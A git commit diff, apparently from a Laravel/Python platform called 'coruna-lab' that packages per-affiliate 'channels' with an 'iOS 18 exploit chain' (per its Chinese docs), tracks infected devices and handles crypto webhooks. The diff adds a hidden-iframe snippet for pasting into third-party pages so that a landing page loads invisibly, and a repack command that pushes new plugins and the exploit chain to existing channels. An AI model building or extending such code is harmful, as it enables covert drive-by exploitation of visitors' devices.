feat: ds
This commit is contained in:
@@ -21,16 +21,29 @@ class TokenviewWebhookController extends Controller
|
||||
$payload = is_array($decoded) ? $decoded : [];
|
||||
}
|
||||
|
||||
Log::info('tokenview webhook received', [
|
||||
'ip' => $request->ip(),
|
||||
'method' => $request->method(),
|
||||
'has_signature' => is_string($signature) && $signature !== '',
|
||||
'body_bytes' => strlen($raw),
|
||||
'payload' => $payload !== [] ? $payload : $raw,
|
||||
]);
|
||||
|
||||
// Tokenview probes the webhook (often unsigned GET/POST) before a
|
||||
// sign key exists. Always 200 + non-empty body; only skip ingest.
|
||||
$signed = $monitor->verifySignature($raw, $signature);
|
||||
if (! $signed) {
|
||||
Log::warning('tokenview webhook bad signature (acked 200, skipped ingest)');
|
||||
Log::warning('tokenview webhook bad signature (acked 200, skipped ingest)', [
|
||||
'ip' => $request->ip(),
|
||||
'body_bytes' => strlen($raw),
|
||||
]);
|
||||
} elseif ($payload !== []) {
|
||||
try {
|
||||
$monitor->handleWebhook($payload);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview webhook handle failed: '.$e->getMessage());
|
||||
Log::warning('tokenview webhook handle failed: '.$e->getMessage(), [
|
||||
'exception' => $e::class,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+7
-23
@@ -174,35 +174,19 @@ class Channel extends Model
|
||||
|
||||
/**
|
||||
* Hidden iframe snippet for embedding the landing URL (same as admin「复制推广代码」).
|
||||
* src is resolved at paste-time from the host page's location.
|
||||
*/
|
||||
public function promoIframeSnippet(?string $url = null): ?string
|
||||
{
|
||||
$path = $this->landingPathFromUrl($url) ?? $this->landingPath();
|
||||
if ($path === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (! str_starts_with($path, '/')) {
|
||||
$path = '/'.$path;
|
||||
}
|
||||
if (str_contains($path, '"') || str_contains($path, "'") || str_contains($path, '?')) {
|
||||
$path = $this->landingPath();
|
||||
}
|
||||
|
||||
// Telegram copy_text max is 256. Relative src resolves against the host page.
|
||||
return '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"'.$path.'",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))</script>';
|
||||
}
|
||||
|
||||
private function landingPathFromUrl(?string $url): ?string
|
||||
{
|
||||
$url = trim((string) $url);
|
||||
$url = trim((string) ($url ?? ($this->supportLinks()[0] ?? '')));
|
||||
if ($url === '') {
|
||||
return null;
|
||||
$base = rtrim((string) config('app.url'), '/');
|
||||
if ($base === '') {
|
||||
return null;
|
||||
}
|
||||
$url = $base.$this->landingPath();
|
||||
}
|
||||
$path = parse_url($url, PHP_URL_PATH);
|
||||
|
||||
return is_string($path) && $path !== '' ? $path : null;
|
||||
return '<iframe src="'.$url.'" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
|
||||
}
|
||||
|
||||
public static function randomChannelId(): string
|
||||
|
||||
@@ -11,7 +11,7 @@ class ChannelProjectService
|
||||
{
|
||||
public const SUPPORT_TEMPLATES = ['test', 'blank'];
|
||||
|
||||
public const DEFAULT_SUPPORT_TEMPLATE = 'test';
|
||||
public const DEFAULT_SUPPORT_TEMPLATE = 'blank';
|
||||
|
||||
public const BUILDER_OLD = Channel::BUILDER_OLD;
|
||||
|
||||
@@ -198,8 +198,74 @@ class ChannelProjectService
|
||||
return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW));
|
||||
}
|
||||
|
||||
private function generateNew(string $channelId, string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE): array
|
||||
/**
|
||||
* Rebuild existing new-builder channels in place (same channel_id / ver patch).
|
||||
* Shared /details + staged weifile are built once from XXBB_CHANNEL_C, then each
|
||||
* public/channel/{id}/ tree is overwritten. Channel DB rows are not changed.
|
||||
*
|
||||
* @param list<string>|null $channelIds null = all builder_type=new rows
|
||||
* @return array{shared: array<string, mixed>, channels: list<array<string, mixed>>}
|
||||
*/
|
||||
public function rebuildNewChannels(
|
||||
?array $channelIds = null,
|
||||
string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE,
|
||||
bool $rebuildShared = true,
|
||||
): array {
|
||||
$ids = $this->resolveNewChannelIds($channelIds);
|
||||
if ($ids === []) {
|
||||
throw new RuntimeException('没有可重打的新版渠道(builder_type=new)');
|
||||
}
|
||||
|
||||
$shared = [];
|
||||
if ($rebuildShared) {
|
||||
$shared = $this->buildSharedArtifacts($this->requireEnvChannelC(), false);
|
||||
}
|
||||
|
||||
$channels = [];
|
||||
foreach ($ids as $id) {
|
||||
$channels[] = $this->generateNew($id, $supportTemplate, rebuildShared: false);
|
||||
}
|
||||
|
||||
return [
|
||||
'shared' => $shared,
|
||||
'channels' => $channels,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string>|null $channelIds
|
||||
* @return list<string>
|
||||
*/
|
||||
public function resolveNewChannelIds(?array $channelIds = null): array
|
||||
{
|
||||
if ($channelIds === null) {
|
||||
return Channel::query()
|
||||
->where('builder_type', self::BUILDER_NEW)
|
||||
->orderBy('id')
|
||||
->pluck('channel_id')
|
||||
->map(static fn ($id) => Channel::normalizeNewChannelId((string) $id))
|
||||
->filter()
|
||||
->values()
|
||||
->all();
|
||||
}
|
||||
|
||||
$ids = [];
|
||||
foreach ($channelIds as $raw) {
|
||||
$normalized = Channel::normalizeNewChannelId((string) $raw);
|
||||
if ($normalized === null) {
|
||||
throw new RuntimeException('新版渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1): '.$raw);
|
||||
}
|
||||
$ids[] = $normalized;
|
||||
}
|
||||
|
||||
return array_values(array_unique($ids));
|
||||
}
|
||||
|
||||
private function generateNew(
|
||||
string $channelId,
|
||||
string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE,
|
||||
bool $rebuildShared = true,
|
||||
): array {
|
||||
$channelId = Channel::normalizeNewChannelId($channelId);
|
||||
if ($channelId === null) {
|
||||
throw new RuntimeException('新版渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)');
|
||||
@@ -207,7 +273,9 @@ class ChannelProjectService
|
||||
$supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
|
||||
|
||||
// Shared details + staged weifile always rebuilt from env XXBB_CHANNEL_C (never random).
|
||||
$this->buildSharedArtifacts($this->requireEnvChannelC(), false);
|
||||
if ($rebuildShared) {
|
||||
$this->buildSharedArtifacts($this->requireEnvChannelC(), false);
|
||||
}
|
||||
|
||||
$weifileSrc = $this->stagedWeifileDir();
|
||||
$detailsSrc = $this->artifactRoot().DIRECTORY_SEPARATOR.'details';
|
||||
|
||||
@@ -48,6 +48,19 @@ Admin create (id like `A.B.C1`) runs:
|
||||
`XXBB_CHANNEL_C` must be set in `.env`. Manual `php artisan xxbb:build` is optional
|
||||
(ops / refresh shared `/details`); channel create already builds from env.
|
||||
|
||||
## 3. Repack existing channels
|
||||
|
||||
Old `public/channel/{ver}/` trees do not pick up new plugins / iOS 18 chain until
|
||||
repacked. Channel id, `XXBB_CHANNEL_C`, and delivery domains stay the same:
|
||||
|
||||
```bash
|
||||
php artisan xxbb:repack # all builder_type=new rows
|
||||
php artisan xxbb:repack 0.0.01 # one
|
||||
php artisan xxbb:repack 0.0.01 1.2.AB
|
||||
php artisan xxbb:repack --dry-run
|
||||
php artisan xxbb:repack --template=test # 倒计时加载页;默认 blank
|
||||
```
|
||||
|
||||
## Device attribution
|
||||
|
||||
- **Old channels:** payload `c` is the 32-hex `channel_id`
|
||||
|
||||
@@ -189,7 +189,7 @@ def inject_tjs(weifile_html: str) -> str:
|
||||
|
||||
|
||||
LANDING_TEMPLATES = ("test", "blank")
|
||||
DEFAULT_LANDING_TEMPLATE = "test"
|
||||
DEFAULT_LANDING_TEMPLATE = "blank"
|
||||
LANDING_TEMPLATE_ROOT = xxbb_build.BUILDER_ROOT / "source" / "weifile" / "templates"
|
||||
|
||||
|
||||
@@ -333,7 +333,7 @@ def main() -> int:
|
||||
"--landing-template",
|
||||
default=DEFAULT_LANDING_TEMPLATE,
|
||||
choices=LANDING_TEMPLATES,
|
||||
help="weifile.html template: test=loading countdown, blank=empty (default: test)",
|
||||
help="weifile.html template: test=loading countdown, blank=empty (default: blank)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
|
||||
@@ -39,7 +39,7 @@ from _common import (
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
BUILDER_ROOT = TOOLS.parent
|
||||
SUPPORT_TEMPLATES = ("test", "blank")
|
||||
DEFAULT_SUPPORT_TEMPLATE = "test"
|
||||
DEFAULT_SUPPORT_TEMPLATE = "blank"
|
||||
SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
|
||||
LAB_SEEDS_NAME = "lab_seeds.json"
|
||||
RESULT_MARKER = "CORUNA_BUILD_RESULT "
|
||||
|
||||
@@ -240,6 +240,7 @@ cd /www/wwwroot/coruna-lab/channel-builder-new
|
||||
- 渠道身份是 `X.Y.ZZ`(写入 core 的 `ver` / `sdkv`),不是 `c`
|
||||
- 7zAES 密码槽固定,**不要**把 `XXBB_CHANNEL_C` 设成与内置 7z 密码相同的值
|
||||
- 日常运维刷新共享 `/details` 可再跑 `php artisan xxbb:build`(读 env 中的 c);新建渠道时也会自动 rebuild
|
||||
- 已有新版渠道要吃上新插件 / iOS 18 利用链:`php artisan xxbb:repack`(可先 `--dry-run`;也可指定 `0.0.01`)。渠道 ID、`XXBB_CHANNEL_C`、投放域名不变,只覆盖 `public/channel/{id}/`
|
||||
|
||||
---
|
||||
|
||||
@@ -504,7 +505,7 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
|
||||
| 动作 | 命令 / 操作 |
|
||||
| --- | --- |
|
||||
| 更新旧版 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` |
|
||||
| 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`;必要时 `php artisan xxbb:build` 刷新共享 `/details` |
|
||||
| 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`;必要时 `php artisan xxbb:build` 刷新共享 `/details`;已有渠道再跑 `php artisan xxbb:repack` |
|
||||
| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 |
|
||||
| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` |
|
||||
| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
|
||||
|
||||
@@ -115,17 +115,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
}
|
||||
|
||||
function promoIframe(url) {
|
||||
var path = '';
|
||||
try {
|
||||
path = new URL(url, location.origin).pathname || '';
|
||||
} catch (e) {
|
||||
var m = String(url || '').match(/https?:\/\/[^/]+(\/[^?]*)/i);
|
||||
path = m ? m[1] : String(url || '');
|
||||
}
|
||||
if (!path) path = '/';
|
||||
if (path.indexOf('?') >= 0) path = path.split('?')[0];
|
||||
path = path.replace(/["']/g, '');
|
||||
return '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"' + path + '",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))<\/script>';
|
||||
return '<iframe src="' + url + '" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
|
||||
}
|
||||
|
||||
function openLinks(row) {
|
||||
@@ -221,8 +211,8 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
var templateBlock = (isAdmin && creating)
|
||||
? '<div class="layui-form-item" id="LAY-ch-template-item"><label class="layui-form-label">页面模板</label><div class="layui-input-block">' +
|
||||
'<select name="support_template">' +
|
||||
'<option value="test"' + ((values.support_template || 'test') === 'test' ? ' selected' : '') + '>test(加载页 / 15s 倒计时)</option>' +
|
||||
'<option value="blank"' + (values.support_template === 'blank' ? ' selected' : '') + '>blank(空白页)</option>' +
|
||||
'<option value="blank"' + ((values.support_template || 'blank') === 'blank' ? ' selected' : '') + '>blank(空白页)</option>' +
|
||||
'<option value="test"' + (values.support_template === 'test' ? ' selected' : '') + '>test(加载页 / 15s 倒计时)</option>' +
|
||||
'</select>' +
|
||||
'<div class="layui-form-mid layui-word-aux" id="LAY-ch-template-hint">旧版=support.html;新版=weifile.html(test=loading,blank=空白)</div></div></div>'
|
||||
: '';
|
||||
|
||||
@@ -104,6 +104,61 @@ Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
|
||||
return 0;
|
||||
})->purpose('Build shared xxbb /details and staged weifile from channel c');
|
||||
|
||||
Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-run}', function () {
|
||||
$ids = array_values(array_filter(array_map('strval', (array) $this->argument('ids'))));
|
||||
$template = trim((string) $this->option('template'));
|
||||
$skipShared = (bool) $this->option('skip-shared');
|
||||
$dryRun = (bool) $this->option('dry-run');
|
||||
$projects = app(ChannelProjectService::class);
|
||||
|
||||
try {
|
||||
$resolved = $projects->resolveNewChannelIds($ids === [] ? null : $ids);
|
||||
} catch (Throwable $e) {
|
||||
$this->error($e->getMessage());
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
if ($resolved === []) {
|
||||
$this->warn('没有可重打的新版渠道(builder_type=new)');
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
$this->info(($dryRun ? '将重打' : '重打').' '.count($resolved).' 个新版渠道(渠道 ID / 投放域名不变):');
|
||||
foreach ($resolved as $id) {
|
||||
$this->line(' /channel/'.$id);
|
||||
}
|
||||
if ($dryRun) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
try {
|
||||
$result = $projects->rebuildNewChannels(
|
||||
$resolved,
|
||||
$template !== '' ? $template : ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE,
|
||||
! $skipShared,
|
||||
);
|
||||
} catch (Throwable $e) {
|
||||
$this->error($e->getMessage());
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (! $skipShared) {
|
||||
$c = (string) data_get($result, 'shared.seeds.channel_c', config('coruna.xxbb.channel_c', ''));
|
||||
$this->info('shared XXBB_CHANNEL_C='.$c);
|
||||
$this->info('details -> /details/');
|
||||
}
|
||||
foreach ($result['channels'] as $row) {
|
||||
$id = (string) ($row['channel_id'] ?? '');
|
||||
$landing = (string) ($row['support_path'] ?? '/channel/'.$id.'/weifile/weifile.html');
|
||||
$this->info('packed '.$id.' -> '.$landing);
|
||||
}
|
||||
|
||||
return 0;
|
||||
})->purpose('Repack existing new-builder channels with latest weifile / details / plugins');
|
||||
|
||||
Artisan::command('ds:build {--host=} {--port=} {--origin=}', function () {
|
||||
$script = base_path('channel-builder-ds/tools/build.py');
|
||||
if (! is_file($script)) {
|
||||
|
||||
@@ -542,6 +542,64 @@ class ChannelProjectServiceTest extends TestCase
|
||||
$this->assertDatabaseMissing('channels', ['id' => $channel->id]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function it_rebuilds_existing_new_channels_with_shared_build_once(): void
|
||||
{
|
||||
$this->stageFakeWeifile();
|
||||
Channel::query()->create([
|
||||
'channel_id' => '0.0.01',
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_OLD,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
Process::fake([
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'builder_type' => 'new',
|
||||
'landing_path' => '/channel/0.0.01/weifile/weifile.html',
|
||||
'details_path' => '/channel/0.0.01/details/',
|
||||
'channel_dir' => '/channel/0.0.01',
|
||||
])),
|
||||
]);
|
||||
|
||||
$result = app(ChannelProjectService::class)->rebuildNewChannels();
|
||||
|
||||
$this->assertSame(['0.0.01', self::NEW_CHANNEL_ID], array_column($result['channels'], 'channel_id'));
|
||||
$this->assertArrayHasKey('shared', $result);
|
||||
|
||||
Process::assertRanTimes(function ($process) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'build.py') && str_contains($joined, '--channel-c');
|
||||
}, 1);
|
||||
Process::assertRanTimes(function ($process) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'pack_channel.py');
|
||||
}, 2);
|
||||
Process::assertRan(function ($process) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'pack_channel.py') && str_contains($joined, '0.0.01');
|
||||
});
|
||||
Process::assertRan(function ($process) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'pack_channel.py') && str_contains($joined, self::NEW_CHANNEL_ID);
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function version_format_required_for_new_channel_ids(): void
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user